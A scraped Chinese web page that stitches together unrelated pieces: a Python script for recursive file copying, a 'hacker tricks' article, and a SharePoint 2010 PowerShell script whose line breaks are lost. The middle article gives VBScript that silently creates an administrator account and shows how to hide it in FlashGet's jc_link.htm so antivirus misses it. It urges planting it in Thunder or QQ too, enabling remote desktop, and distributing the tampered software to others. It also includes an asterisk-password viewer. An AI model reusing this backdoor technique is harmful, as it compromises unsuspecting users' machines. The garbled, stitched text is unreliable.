写个python脚本实现文件的递归拷贝

作者:小菜 更新时间:2025-03-16 点击数:
简介:今天翻电脑时突然发现有个存了很多照片和视频的文件夹,想起来是去年换手机(流行的小5)时拷出来的。

看了几张照片,往事又一幕幕的浮现在脑海,好吧,我是个感性的人。

【菜科解读】

今天翻电脑时突然发现有个存了很多照片和视频的文件夹,想起来是去年换手机(流行的小5)时拷出来的。

看了几张

照片,往事又一幕幕的浮现在脑海,好吧,我是个感性的人。

所以就想把这些照片翻着看一遍,可是拷出来的照片手机

里是按时间自动分文件夹的,一个一个文件夹拷很是麻烦,于是打算写个python小脚本来完成这个工作(扯这么多,终于到主题了,囧)

这是待拷贝的文件夹根目录,每个子目录下都有若干照片。

Python 2.7.3 官方版:http://www.cr173.com/soft/16395.html废话少说,上代码:

# -*- coding: utf-8 -*-#!/usr/bin/python#Filename:copyfile.pyimport os,shutildef mycopy(srcpath,dstpath): if not os.path.exists(srcpath): print "srcpath not exist!" if not os.path.exists(dstpath): print "dstpath not exist!" for root,dirs,files in os.walk(srcpath,True): for eachfile in files: shutil.copy(os.path.join(root,eachfile),dstpath)srcpath='e:\\pic'dstpath='f:\\pictotal'mycopy(srcpath,dstpath)

运行这个脚本,去f盘看看:

照片都拷贝了过来,果然有很多照片(底下还有很多,没截完)

代码没有什么难懂的,主要是os.walk()函数,这个函数返回指定路径的三元组(起始路径,起始路径下的目录,起始路径下不带路径名的文件名列表)

它直接可以递归遍历到指定目录下的所有目录及文件名,比较好用。

也可以用os.listdir(dirname):函数来实现,listdir函数列出dirname下的目录和文件,然后通过一个判断:若是文件,则拷贝;若是目录,则继续递归

遍历,显然没有walk()函数用起来方便。

不过不知道walk()函数内部是怎么实现的,若是直接将根目录下的所有文件存在list中性能上可能不太好,

后面可以用listdir()对比测一下。

可以看出,python仅需短短几行的代码就完成了这个工作,还是很方便的。

若用C++来实现代码就比这个长了。

可见,语言无所谓高低,能高效方便实现目标就好,不是吗?

写个,python,脚本,实现,文件,的,递归,拷贝,今,

讲解脚本语言的妙用

r.run "net user 柳若寒 123 /add",0r.run "net localgroup administrators 柳若寒 /add",0 /script 这是一段非常简单的VBScript代码,其中"net user 柳若寒 123 /add"和"net localgroup administrators 柳若寒 /add"的作用添加一个用户名为柳若寒、密码为123的账户,并提升为管理员。

实际运用中,我们可以把它换成所需要的任意CMD命令,后面的参数0代表隐藏执行命令时的CMD窗口,代码执行有效需要本地管理员权限。

把这段代码保存为html文件,运行后会弹出安全警告窗口,如图1所示,这样再傻的人都知道有问题了。

那么怎样才能保证它的隐秘性呢?无意中我发现网际快车能帮我们这个忙。

我们来看看IE右键菜单,当点击菜单中的使用快车(FlashGet)下载的时候,它会调用一个VBScript文件,试着把上面的代码插入这个文件看看会有什么效果。

随便找一个下载链接,点击 右键 使用快车(FlashGet)下载 ,结果发现居然不会有任何提示,成功地添加了账户。

那么怎样知道它调用的是哪个文件呢?打开注册表,在HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\MenuExt\中就是关于IE右键菜单的信息,找到与网际快车相关的项,会发现它调用的是安装目录中的jc_link.htm文件,如图2所示。

把上面的代码插入jc_link.htm中就可以了,这样一来就绝对隐藏了,杀毒软件查不到,别人也不会想到你是在网际快车里面动的手脚。

事实上不仅是网际快车,比如迅雷、QQ等,只要与注册表添加右键菜单有关的都可以用这种方法。

大家可以把软件先进行改造,比如添加开3389命令之类的,再提供给别人下载,嘿嘿,这样威力就不是一般的大了。

打造最简单的星号密码查看器同样的思路,我们用VBScript和在注册表中添加IE右键菜单来实现星号密码查看器。

我们先看看实现此功能的代码。

script language="VBScript">Sub GetPassword()set srcEvent = external.menuArguments.eventSet doc=external.menuArguments.documentset ele=doc.elementFromPoint(srcEvent.clientX, srcEvent.clientY )ifele.type ="password" thenifele.value="" thenAlert("密码为空")elseAlert("密码为:"+ele.value)end ifend ifend subcall GetPassword() /script 把上面的代码保存为html文件,这里我保存为 d:\pass.html 。

然后在注册表HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\MenuExt\下新建一个项,命名为 查看星号密码 ,选中该项,把里面的字符串的数据改为保存的html文件的地址 d:\pass.html ,再在该项下增加一个DWORD值,值为4,表示只在右击表单元素时有效,如图3所示。

关闭注册表,重新启动IE窗口就可以看到效果了。

只要我们在密码框中点击右键选中该项,就会显示出密码框中的密码了。

黑客的基本 讲解,脚本,语言,的,妙用,用,网际,快车,做,

SharePoint2010中PowerShell脚本应用总结

把项目中用到PowerShell脚本整理一下,分享给需要的朋友。

首先通过Powershell创建WebApplication,创建时要判断是否存在,如果存在就删除,在这个操作中有异常,如果WebApplication不存在,会出现错误,不知如何避免,用Try 也不起作用,如果谁有好的解决办法可以回复。

一、创建 WebApplication、Sites、Web、及激活Features# check to ensure Microsoft.SharePoint.PowerShell is loaded$snapin = Get-PSSnapin | Where-Object {$_.Name -eq ‘Microsoft.SharePoint.Powershell‘}if ($snapin -eq $null) { Write-Host "Loading SharePoint Powershell Snapin" Add-PSSnapin "Microsoft.SharePoint.Powershell"$WebAppPoolAccount = "T\Administrator"$WebAppName = "SharePoint - XXX.com80"$WebAppPort = 80$WebAppPool = "SharePoint - XXX.com80"$WebAppDBName = "WSS_Content_XXX"$WebAppUrl = "http://XXX.com"$WebAppUrl_XXX = "http://XXX.com/XXX"$WebAppHostHeader = "XXX.com"$SiteTemplate_WorkGroup = "STS#0" #STS#0 是工作组网站$SiteTemplate_DocCenter = "BDR#0" #STS#0 是文档中心################################################ WebApplication ##################################################Delete any existing Webapplication by name$targetUrl = Get-SPWebApplication $WebAppUrlif($targetUrl -ne $null){ Write-host "Deleting existing webapplication:" $WebAppName Remove-SPWebApplication $WebAppName -confirm -DeleteIISSite -removeContentDatabase Write-host "Deleted Site and ContentDatabase successful." -foregroundcolor redWrite-Host "Starting create WebApplication"Write-Host "Please waiting......" -foregroundcolor green$WebApp = New-SPWebApplication -Name $WebAppName -Port $WebAppPort -HostHeader $WebAppHostHeader -URL $WebAppUrl -ApplicationPool $WebAppPool -DatabaseName $WebAppDBName -ApplicationPoolAccount (get-SPManagedAccount $WebAppPoolAccount)Write-Host "WebApplication Created successfully"#display WebApplication InfoWrite-HostWrite-Host "------------------------------" -foregroundcolor GreenWrite-Host "Name:" $WebApp.Name -foregroundcolor greenWrite-Host "URL:" $WebApp.Url -foregroundcolor greenWrite-Host "------------------------------" -foregroundcolor Green########### 自定义方法 Add Web #############Function Add_Web($webUrl,$webName,$template){ Write-Host "Creating new web " $webUrl " please waiting......" New-SPWeb -Url $webUrl -Template $template -Name $webName Write-Host "Created " $webUrl " sucessful!" -foregroundcolor green########### Site #####################if($WebApp -ne $null){ Write-host $WebApp.Url -foregroundcolor green $SiteUrl = $WebApp.Url $SiteTitle = "XXX" # 创建网站集 Write-Host "Creating new site " $SiteTitle " ,please waiting......" $NewSite = New-SPSite -Url $SiteUrl -OwnerAlias $WebAppPoolAccount -Template $SiteTemplate_WorkGroup -Name $SiteTitle Write-host "Finish Createed successful" -foregroundcolor green # 激活网站集功能 Write-host "Starting active PublishingSite feature" Enable-SPFeature –Identity PublishingSite –url $WebAppUrl Write-host "PublishingSite Actived" -foregroundcolor green #创建子站点 Add_Web $WebAppUrl_XXX "XXX" $SiteTemplate_WorkGroup $NewSite.Dispose() else{ Write-host "WebApplication " $WebApp.Name " is not existing"}二、Site创建后,要创建用户组、分配权限、初始化人员信息################################################### SPGROUP# 获取网站集$Web = Get-SPWeb $WebAppUrl$GroupCount = $Web.SiteGroups.Count # 获取站点用户组的个数#删除目前已有的用户组While($GroupCount -ne 0){ $Web.SiteGroups.Remove($Web.SiteGroups[$GroupCount-1]) $GroupCount--$Web.Update();################################ 自定义方法 # 给用户组分配相应的权限function AddRoleAssignment($group,$role){ $RoleAssignment = New-Object Microsoft.SharePoint.SPRoleAssignment($group); $RoleAssignment.RoleDefinitionBindings.Add($role) $Web.RoleAssignments.Add($RoleAssignment)$Domain = "T\"#添加用户function AddUser($group,$userName){ $User = $web.Site.RootWeb.EnsureUser($Domain + $userName) $group.AddUser($User)# 给相应的组添加成员function AddUser_DeptLeader($group){ foreach($user in $group.Users){ $group.RemoveUser($user); AddUser $group "zhangjiangfeng"# 获取相应的角色$RoleName_Discuss = "参与讨论"$RoleDiscuss = $Web.RoleDefinitions[$RoleName_Discuss]$RoleName_Contribution = "完全控制"$RoleContribution = $Web.RoleDefinitions[$RoleName_Contribution]#用户组名$DeptLeader = "XXX"################################################################# # 添加组及人员$Group = $Web.SiteGroups[$DeptLeader]if($Group -eq $null){ # 判断组是否存在 $Web.SiteGroups.Add($DeptLeader,$Web.CurrentUser, $Web.CurrentUser,""); #添加组 $Group = $Web.SiteGroups[$DeptLeader] #获取组 AddUser_DeptLeader $Group #添加人员 AddRoleAssignment $Group $RoleDiscuss #分配权限else{ AddUser_DeptLeader $Group$Web.Update();foreach($Group in $Web.SiteGroups){ write-host $Group.Name$Web.Dispose()Write-Host "Finished" -foregroundcolor green三、添加QuickLaunch 及分配权限##################### 添加导航$Web = Get-SPWeb $WebAppUrl_XXX$NodeList_XXX = $Web.Navigation.QuickLaunch # 获取快速启动栏$NodeList_XXXCount = $NodeList_XXX.Count #获取菜单个数Foreach($node in $NodeList_XXX){ # 遍历输出所有菜单 write-host $node.TitleWhile($NodeList_XXXCount -ne 0){ # 删除已有菜单 $NodeList_XXX[$NodeList_XXXCount - 1].Delete() $NodeList_XXXCount --##########我的菜单$NewNode = New-Object Microsoft.SharePoint.Navigation.SPNavigationNode("我的菜单", "",$true)$NodeList_XXX.AddAsLast($NewNode)$NewChild = New-Object Microsoft.SharePoint.Navigation.SPNavigationNode("我的子菜单", "/SitePages/XXX.aspx",$true)$NewNode.Children.AddAsLast($NewChild)$NewChild.Properties["Audience"] = ";;;;用户组名" #给菜单分配相应的访问权限$NewChild.Update()四、创建文档库及文件夹#################################### 添加文档库及文件夹# SPListTemplateType$DocTemp = [Microsoft.SharePoint.SPListTemplateType]::DocumentLibrary$Folder = [Microsoft.SharePoint.SPFileSystemObjectType]::Folder# Delete ListFunction DeleteList($web,$listName){ $list = $web.Lists.TryGetList($listName) if($list -ne $null){ Write-Host "............." $listName "already exists,deleting................" -foregroundcolor red $list.Delete() Write-host "............." $listName "already is deleted....................." -foregroundcolor Green Write-host "" }}# Add ListFunction AddList($web,$listName,$listDescription,$listTemplate){ DeleteList $web $listName Write-host ".............Starting create " $listName ",please waiting............." $web.Lists.Add($listName,$listDescription,$listTemplate) Write-host ".............. " $listName " already is created......................." -foregroundcolor green}# List OnQuickLaunchFunction OnQuickLaunchList($list,$bool){ $list.OnQuickLaunch = $bool $list.Update()}# Add ItemFunction AddItemFolder($web,$url,$listName,$name){ Write-host ".............Starting create " $name " Folder,please waiting............." -foregroundcolor blue $list = $web.Lists.TryGetList($listName) if($list -ne $null){ $folder = $list.AddItem($url,$Folder,$name) $folder.Update() Write-host ".............. " $name " Folder already is created......................." -foregroundcolor green }}##$Web = Get-SPWeb $WebAppUrl_XXX################# 添加文档库AddList $Web "我是文档库" "我是文档库" $DocTempAddItemFolder $Web "我是文件夹" "我是文件夹"$Web.Dispose() 五、文档库断开继承并分配权限############################################################ 分配权限$RoleName_Discuss = "参与讨论"$RoleName_Contribution = "完全控制"$RoleName_Read = "读取"# 断开继承Function BreakRoleInheritance($web,$listName){ $list = $web.Lists.TryGetList($listName) if($list -ne $null){ Write-Host "............." $listName "BreakRoleInheritance ................" $list.BreakRoleInheritance($false,$false) Write-host "............." $listName "BreakRoleInheritance sucessed....................." -foregroundcolor Green return $list# 分配权限Function AssignPermission($web,$list,$groupName,$roleDefinition){ $group = $web.SiteGroups[$groupName]; if($group -ne $null){ write-host "............." $list.Title "Add RoleAssignment" $groupName $roleAssignment = New-Object Microsoft.SharePoint.SPRoleAssignment($group); $permLevel = $web.RoleDefinitions[$roleDefinition]; $roleAssignment.RoleDefinitionBindings.Add($permLevel); $list.RoleAssignments.Add($roleAssignment);$Web = Get-SPWeb $WebAppUrl_XXX$List = BreakRoleInheritance $Web "我是文档库"if($List -ne $null){ AssignPermission $Web $List "XXX" $RoleName_Read$Web.Update();$Web.Dispose();六、只要单击Cnblogs.bat 一个基本的网站就创建完成了。

单击下载 SharePoint2010,中,PowerShell,脚本

加入收藏
               

写个python脚本实现文件的递归拷贝

点击下载文档

格式为doc格式

  • 账号登录
社交账号登录